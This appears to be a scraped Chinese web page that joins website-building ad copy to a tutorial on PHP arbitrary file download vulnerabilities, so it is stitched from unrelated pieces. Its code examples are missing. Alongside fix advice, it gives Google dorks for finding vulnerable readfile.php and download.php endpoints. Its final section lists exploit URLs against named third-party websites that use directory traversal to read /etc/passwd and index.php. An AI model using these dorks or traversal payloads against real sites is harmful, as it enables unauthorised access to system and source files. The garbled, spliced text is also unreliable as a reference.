十年網(wǎng)站開發(fā)經(jīng)驗(yàn) + 多家企業(yè)客戶 + 靠譜的建站團(tuán)隊(duì)
量身定制 + 運(yùn)營(yíng)維護(hù)+專業(yè)推廣+無憂售后,網(wǎng)站問題一站解決
0x00 背景介紹
在冷水灘等地區(qū),都構(gòu)建了全面的區(qū)域性戰(zhàn)略布局,加強(qiáng)發(fā)展的系統(tǒng)性、市場(chǎng)前瞻性、產(chǎn)品創(chuàng)新能力,以專注、極致的服務(wù)理念,為客戶提供成都網(wǎng)站建設(shè)、網(wǎng)站建設(shè) 網(wǎng)站設(shè)計(jì)制作按需定制網(wǎng)站,公司網(wǎng)站建設(shè),企業(yè)網(wǎng)站建設(shè),成都品牌網(wǎng)站建設(shè),營(yíng)銷型網(wǎng)站,外貿(mào)網(wǎng)站制作,冷水灘網(wǎng)站建設(shè)費(fèi)用合理。
一些網(wǎng)站的業(yè)務(wù)需要,可能提供文件查看或下載的功能,如果對(duì)用戶查看或下載的文件不做限制,就能夠查看或下載任意的文件,可以是源文件,敏感文件等等
0x01 文件讀取
文件讀取在PHP這種可以有很多種方式實(shí)現(xiàn),在web的默認(rèn)情況下,$filename變量可能用戶可控
#當(dāng)變量 $filename 沒有經(jīng)過校驗(yàn),或者校驗(yàn)不嚴(yán)格,用戶可以控制這個(gè)變量讀取任意文件,例如 /etc/passwd、/config.ini 等文件
0x02 實(shí)現(xiàn)文件下載的兩種方式
1.直接下載:
2.增加header頭
當(dāng)$filename沒有經(jīng)過校驗(yàn),或者校驗(yàn)不合格,用戶可以控制這個(gè)變量下載任意文件,比如/etc/passwd,./index.php、等等就造成了任意文件下載漏洞。
0x03 成因
都有讀取文件的函數(shù)
讀物文件的路徑用戶可控,且沒有經(jīng)過校驗(yàn),或者校驗(yàn)不嚴(yán)格
都輸出文件內(nèi)容
0x04 Google Serch
inurl:"readfile.php?file=" inurl:"download.php?file="
0x05 修復(fù)方案
過濾<.>(點(diǎn))
正則判斷用戶輸入的參數(shù)格式,匹配輸入的格式是否合格
php.ini配置open_basedir
0x06 實(shí)例漏洞利用
(僅供測(cè)試,請(qǐng)勿隨意破壞)
地址:
url:http://hypnet.org.uk/shared/readfile.php?file=mental_health_audit_2014_06_15_130552.ppt
漏洞利用:
http://hypnet.org.uk/shared/readfile.php?file=../../../../../../../../../../etc/passwd
地址:
url:http://storiedifarina.it/readfile.php?file=pdf/storiedifarina.pdf
漏洞利用
http://www.wodehouse.se/upload/readfile.php?file=../index.php